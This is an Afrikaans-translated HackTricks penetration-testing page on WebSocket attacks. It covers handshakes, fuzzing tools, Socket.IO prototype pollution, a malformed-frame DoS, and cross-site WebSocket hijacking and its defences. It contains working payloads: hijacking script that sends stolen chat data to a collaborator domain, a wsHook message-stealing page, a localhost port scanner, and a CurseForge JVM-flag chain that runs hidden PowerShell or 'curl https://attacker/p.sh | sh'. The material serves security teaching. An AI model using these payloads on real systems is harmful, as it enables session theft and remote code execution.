WebSocket-aanvalle

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Wat is WebSockets

WebSocket-verbindinge word tot stand gebring deur ’n aanvanklike HTTP handshake en is ontwerp om langlewendig te wees, wat tweerigtingboodskapuitruiling op enige tyd moontlik maak sonder die behoefte aan ’n transaksionele stelsel. Dit maak WebSockets veral voordelig vir toepassings wat lae latensie of server-iniĂ«rende kommunikasie benodig, soos regstreekse finansiĂ«le datastrome.

Totstandkoming van WebSocket-verbindinge

’n Gedetaileerde verduideliking oor die totstandkoming van WebSocket-verbindinge is beskikbaar here. In samevatting, WebSocket-verbindinge word gewoonlik geïnisieer via client-side JavaScript soos hieronder getoon:

var ws = new WebSocket("wss://normal-website.com/ws")

Die wss-protokol dui op ’n WebSocket-verbinding wat beveilig is met TLS, terwyl ws ’n onbeveiligde verbinding aandui.

Tydens die totstandkoming van die verbinding word ’n handshake tussen die browser en server oor HTTP uitgevoer. Die handshake-proses behels dat die browser ’n versoek stuur en die server antwoord, soos geïllustreer in die volgende voorbeelde:

Browser stuur ’n handshake-versoek:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Server se handshake response:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Sodra dit gevestig is, bly die verbinding oop vir boodskapuitruiling in beide rigtings.

Belangrike punte van die WebSocket-handshake:

  • Die Connection en Upgrade headers dui die begin van ’n WebSocket-handshake aan.
  • Die Sec-WebSocket-Version header dui die gewenste WebSocket-protokolweergawe aan, gewoonlik 13.
  • ’n Base64-geenkodeerde ewekansige waarde word in die Sec-WebSocket-Key header gestuur, wat verseker dat elke handshake uniek is; dit help om probleme met caching-proxies te voorkom. Hierdie waarde is nie vir outhentisering nie, maar om te bevestig dat die respons nie deur ’n verkeerd gekonfigureerde bediener of kas gegenereer is nie.
  • Die Sec-WebSocket-Accept header in die bediener se respons is ’n hash van die Sec-WebSocket-Key, wat die bediener se bedoeling bevestig om ’n WebSocket-verbinding te open.

Hierdie kenmerke verseker dat die handshake-proses veilig en betroubaar is, en baan die weg vir doeltreffende regstreekse kommunikasie.

Linux-konsol

Jy kan websocat gebruik om ’n rou verbinding met ’n websocket te vestig.

websocat --insecure wss://10.10.10.10:8000 -v

Of om ’n websocat server te skep:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket verbindinge

As jy vind dat clients van jou huidige plaaslike netwerk aan ’n HTTP websocket gekoppel is, kan jy ’n ARP Spoofing Attack probeer om ’n MitM-aanval tussen die client en die server uit te voer.
Sodra die client probeer om met jou te verbind, kan jy dan gebruik:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets-ondersoek

Jy kan die tool https://github.com/PalindromeLabs/STEWS gebruik om bekende vulnerabilities in websockets outomaties te ontdek, te fingerprint en te soek.

Websocket Debug tools

  • Burp Suite ondersteun MitM websockets-kommunikasie op ’n baie soortgelyke wyse as wat dit vir gewone HTTP-kommunikasie doen.
  • Die socketsleuth Burp Suite extension sal jou toelaat om Websocket-kommunikasies in Burp beter te bestuur deur die history te kry, interception rules te stel, match and replace reĂ«ls te gebruik, en Intruder en AutoRepeater te gebruik.
  • WSSiP: Kort vir “WebSocket/Socket.io Proxy”, hierdie tool, geskryf in Node.js, bied ’n gebruikerskoppelvlak om te capture, intercept, aangepaste boodskappe te stuur en alle WebSocket- en Socket.IO-kommunikasies tussen die client en server te sien.
  • wsrepl is ’n interactive websocket REPL spesifiek ontwerp vir penetration testing. Dit voorsien ’n koppelvlak om incoming websocket messages and sending new ones waar te neem, met ’n gebruikersvriendelike raamwerk vir die automating van hierdie kommunikasie.
  • https://websocketking.com/ is ’n web-koppelvlak om met ander webs te kommunikeer deur middel van websockets.
  • https://hoppscotch.io/realtime/websocket bied, onder andere kommunikasie-/protokolsoorte, ’n web-koppelvlak om met ander webs te kommunikeer deur middel van websockets.

Websocket dekryptering

Websocket Lab

In Burp-Suite-Extender-Montoya-Course vind jy kode om ’n web te launch wat websockets gebruik en in this post vind jy ’n verduideliking.

Websocket Fuzzing

Die burp-extensie Backslash Powered Scanner laat jou nou ook toe om WebSocket-boodskappe te fuzz. Jy kan meer inligting daaroor lees here.

WebSocket Turbo Intruder (Burp extension)

PortSwigger’s WebSocket Turbo Intruder bring Turbo Intruder–style Python-scripting en hoë‑snelheid fuzzing na WebSockets. Installeer dit vanaf die BApp Store of vanaf bron. Dit sluit twee komponente in:

  • Turbo Intruder: hoog‑volume boodskapstuur na ’n enkele WS-endpoint wat custom engines gebruik.
  • HTTP Middleware: openbaar ’n plaaslike HTTP-endpoint wat bodies as WS-boodskappe oor ’n volhoubare verbinding deurstuur, sodat enige HTTP‑gebaseerde scanner WS-backends kan probeer.

Basiese skrippatroon om ’n WS-endpoint te fuzz en relevante antwoorde te filter:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Gebruik decorators soos @MatchRegex(...) om geraas te verminder wanneer ’n enkele boodskap meerdere reaksies ontlok.

Bridge WS behind HTTP (HTTP Middleware)

Pak ’n volgehoue WS-verbinding in en stuur HTTP-liggame as WS-boodskappe vir geoutomatiseerde toetsing met HTTP-scanners:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Stuur dan HTTP plaaslik; die inhoud word as die WS-boodskap deurgestuur:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Dit laat jou toe om WS-backends aan te stuur terwyl jy filter vir “interesting” events (e.g., SQLi errors, auth bypass, command injection behavior).

Socket.IO hantering (handshake, heartbeats, events)

Socket.IO voeg sy eie framing bo-op WS. Detecteer dit via die verpligte query-parameter EIO (e.g., EIO=4). Hou die sessie lewendig met Ping (2) en Pong (3) en begin die gesprek met "40", then emit events like 42["message","hello"].

Intruder example:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

HTTP aanpasser-variant:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Opsporing van bediener‑kant prototype pollution deur Socket.IO

Volg PortSwigger se veilige opsporingstegniek; probeer Express internals te besoedel deur ’n payload soos die volgende te stuur:

{"__proto__":{"initialPacket":"Polluted"}}

As groete of gedrag verander (bv. echo sluit “Polluted” in), het jy waarskynlik server-side prototypes besmet. Die impak hang af van bereikbare sinks; korreleer dit met die gadgets in die Node.js prototype pollution afdeling. Sien:

WebSocket race conditions with Turbo Intruder

Die standaard engine groepeer boodskappe op een verbinding (groot deurset, swak vir races). Gebruik die THREADED engine om meerdere WS-verbindinge te spawn en payloads parallel te stuur om logic races te trigger (double‑spend, token reuse, state desync). Begin by die voorbeeldscript en fyninstel concurrency in config().

  • Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Konstrueer WS-frames waarvan die header ’n reuse payload length verklaar maar geen body stuur nie. Sommige WS-servers vertrou die length en pre‑allocate buffers; dit naby Integer.MAX_VALUE stel kan Out‑Of‑Memory en ’n remote unauth DoS veroorsaak. Sien die voorbeeldscript.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Enable the WS Logger to capture and correlate messages using internal IDs.
  • Use inc*/dec* helpers on Connection to tweak message ID handling in complex adapters.
  • Decorators like @PingPong/@Pong and helpers like isInteresting() reduce noise and keep sessions alive.

Operational safety

Hoë‑tempo WS fuzzing kan baie verbindinge oopmaak en duisende boodskappe per sekonde stuur. Malformed frames en hoĂ« tempo kan ’n werklike DoS veroorsaak. Gebruik slegs waar toegestaan.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, ook bekend as cross-origin WebSocket hijacking, word geĂŻdentifiseer as ’n spesifieke geval van Cross-Site Request Forgery (CSRF) wat WebSocket handshakes raak. Hierdie kwetsbaarheid ontstaan wanneer WebSocket handshakes uitsluitlik geauthentiseer word deur HTTP cookies sonder CSRF tokens of soortgelyke beveiligingsmaatreĂ«ls.

Aanvalle kan dit uitbuit deur ’n malicious web page te host wat ’n cross-site WebSocket verbinding na ’n kwesbare toepassing inisieer. Gevolglik word hierdie verbinding as deel van die slagoffer se sessie met die toepassing beskou, en misbruik dit die gebrek aan CSRF‑beskerming in die sessiehanteringsmeganisme.

Vir hierdie aanval om te werk, is die vereistes:

  • Die websocket authentication must be cookie based
  • Die cookie moet van die attacker se server toeganklik wees (dit beteken gewoonlik SameSite=None) en geen Firefox Total Cookie Protection in Firefox en geen blocked third-party cookies in Chrome geaktiveer nie.
  • Die websocket server mag nie die origin van die verbinding nagaan nie (of dit moet omseilbaar wees)

Ook:

  • Indien die authentication gebaseer is op ’n plaaslike verbinding (na localhost of na ’n plaaslike netwerk) sal die aanval moontlik wees aangesien geen huidige beskerming dit verbied nie (check more info here)

Simple Attack

Let daarop dat wanneer ’n websocket verbinding establishing word die cookie sent word na die server. Die server mag dit gebruik om elke spesifieke user met sy websocket session te relate gebasseer op die gestuurde cookie.

Dan, as byvoorbeeld die websocket server die history of the conversation van ’n user terugstuur as ’n msg met “READY” gestuur word, sal ’n simple XSS wat die verbinding etablering (die cookie sal automatically gestuur word om die slagoffer se gebruiker te autoriseer) deur “READY” te send in staat wees om die geskiedenis van die conversation te retrieve.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

In hierdie blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ het die aanvaller daarin geslaag om enige Javascript in ’n subdomain uit te voer van die domein waar die web socket communication plaasgevind het. Omdat dit ’n subdomain was, is die cookie gestuur, en omdat die Websocket die Origin nie behoorlik gekontroleer het nie, was dit moontlik om daarmee te kommunikeer en tokens daaruit te steel.

Steel data van gebruiker

Kopieer die web application wat jy wil naboots (die .html files byvoorbeeld) en binne die script waar die websocket communication plaasvind voeg hierdie code by:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Laai nou die wsHook.js-lĂȘer af vanaf https://github.com/skepticfx/wshook en stoor dit in die gids met die web lĂȘers.
Deur die web application bloot te stel en ’n user te laat connect, sal jy in staat wees om die gestuurde en ontvangde boodskappe via websocket te steel:

sudo python3 -m http.server 80

CSWSH-beskermingsmaatreëls

Die CSWSH-aanval is gebaseer op die feit dat ’n gebruiker na ’n kwaadwillige bladsy sal verbind wat ’n websocket-verbinding sal open na ’n webblad waarop die gebruiker reeds verbind is, en as die versoek die gebruiker se cookies stuur sal dit as die gebruiker autentiseer.

Deesdae is dit baie maklik om hierdie probleem te voorkom:

  • Websocket-server wat die origin kontroleer: Die websocket-server moet altyd nagaan van waar ’n gebruiker verbind om te verhoed dat ongewensde bladsye daarmee verbind.
  • Autentiseringstoken: In plaas daarvan om die autentisering op ’n cookie te baseer, kan die websocket-verbinding gebaseer wees op ’n token wat deur die server vir die gebruiker gegenereer word en vir die aanvaller onbekend is (soos ’n anti-CSRF-token).
  • SameSite Cookie attribute: Cookies met SameSite-waarde Lax of Strict sal nie vanaf ’n eksterne aanvaller se bladsy na die slagoffer se server gestuur word nie, dus sal cookie-gebaseerde autentisering nie suksesvol wees nie. Let daarop dat Chrome nou die waarde Lax toepas op cookies sonder hierdie vlag, wat dit standaard veiliger maak. Alhoewel ’n cookie die eerste 2 minute nĂĄ skepping die waarde None sal hĂȘ, wat dit gedurende daardie beperkte tydperk kwesbaar maak (dit word ook verwag dat hierdie maatregel op ’n stadium verwyder sal word).
  • Firefox Total Cookie Protection: Total Cookie Protection werk deur cookies te isoleer tot die webwerf waarop dit geskep is. Elkeen webwerf het in wese sy eie cookie-opslagpartisie om te voorkom dat derde partye ’n gebruiker se blaai-geskiedenis koppel. Dit maak CSWSH onbruikbaar aangesien die aanvaller se webwerf nie toegang tot die cookies sal hĂȘ nie.
  • Chrome third-party cookies block: Dit kan ook verhinder dat die cookie van die geverifieerde gebruiker na die websocket-server gestuur word selfs met SameSite=None.

Localhost WebSocket-misbruik en blaaierpoort-ontdekking

Desktop-launchers draai dikwels helpers op (bv., CurseForge se CurseAgent.exe) wat JSON-RPC WebSockets op 127.0.0.1:<random_port> blootstel. Die blaaier dwing nie SOP af op loopback-sokette nie, dus kan enige webblad die handshake probeer. As die agent arbitrĂȘre Origin-waardes aanvaar en sekondĂȘre autentisering oorslaan, raak die IPC-oppervlakte op afstand beheerbaar direk vanaf JavaScript.

Enumerering van blootgestelde metodes

Neem ’n geldige sessie op om die protokolkontrak te leer. CurseForge gee byvoorbeeld frames uit soos {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} waar name die RPC-metode is en args gestruktureerde objekte (GUIDs, resolusie, vlae, ens.) bevat. Sodra hierdie struktuur bekend is, kan jy metodes aanroep soos createModpack, minecraftGetDefaultLocation, of enige ander bevoorregte taak regstreeks vanaf ’n ingevoegde bladsy.

Blaaiergebaseerde poortontdekking

Omdat die helper aan ’n ewekansige hoĂ« poort bind, brute-forseer die exploit eers localhost oor WebSockets. Chromium-gebaseerde blaaiers verdra ongeveer ~16k mislukte upgrades voordat dit drossel, wat genoeg is om die efemere reeks te deursoek; Firefox neig om te crash of te vries na ’n paar honderd mislukkings, daarom mik praktiese PoCs dikwels op Chromium.

Minimale blaaier-skandeerder ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

Sodra ’n verbinding die handshake oorleef en protokolspesifieke data terugstuur, hergebruik daardie socket vir die RPC-ketting.

Ketting JSON-RPC-metodes na RCE

Die CurseForge exploit koppel twee nie-geauthentiseerde oproepe aan mekaar:

  1. createModpack → gee ’n nuwe MinecraftInstanceGuid sonder gebruikersinteraksie.
  2. minecraftTaskLaunchInstance → lanceer daardie GUID terwyl dit arbitrĂȘre JVM-vlagte deur AdditionalJavaArguments aanvaar.

JNI/JVM diagnostiese opsies bied dan ’n kant-en-klare RCE-primitive. Byvoorbeeld, beperk die metaspace om ’n crash af te dwing en benut die error hook vir kommando-uitvoering:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

Op Unix-teikens vervang die payload eenvoudig met /bin/sh -c 'curl https://attacker/p.sh | sh'. Dit werk selfs wanneer jy nie die toepassingskode kan raak nie — beheer van die JVM CLI is genoeg.

Hierdie “create resource → privileged launch” patroon verskyn dikwels in updaters and launchers. Enige keer wanneer metode (1) ’n server-gesporeerde identifiseerder teruggee en metode (2) kode uitvoer of ’n proses met daardie identifiseerder spawn, kyk of gebruiker-beheerde argumente ingespuit kan word.

Race Conditions

Race Conditions in WebSockets is ook ’n ding, check this information to learn more.

Ander kwesbaarhede

Aangesien Web Sockets ’n meganisme is om send data to server side and client side, afhangende van hoe die server en client die inligting hanteer, kan Web Sockets gebruik word om verskeie ander kwesbaarhede uit te buit soos XSS, SQLi of enige ander algemene web vuln deur invoer van ’n gebruiker vanaf ’n websocket.

WebSocket Smuggling

Hierdie kwesbaarheid kan jou toelaat om te bypass reverse proxies restrictions deur hulle te laat glo dat ’n websocket communication was stablished (selfs al is dit nie waar nie). Dit kan ’n aanvaller toelaat om access hidden endpoints. Vir meer inligting kyk na die volgende blad:

Upgrade Header Smuggling

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks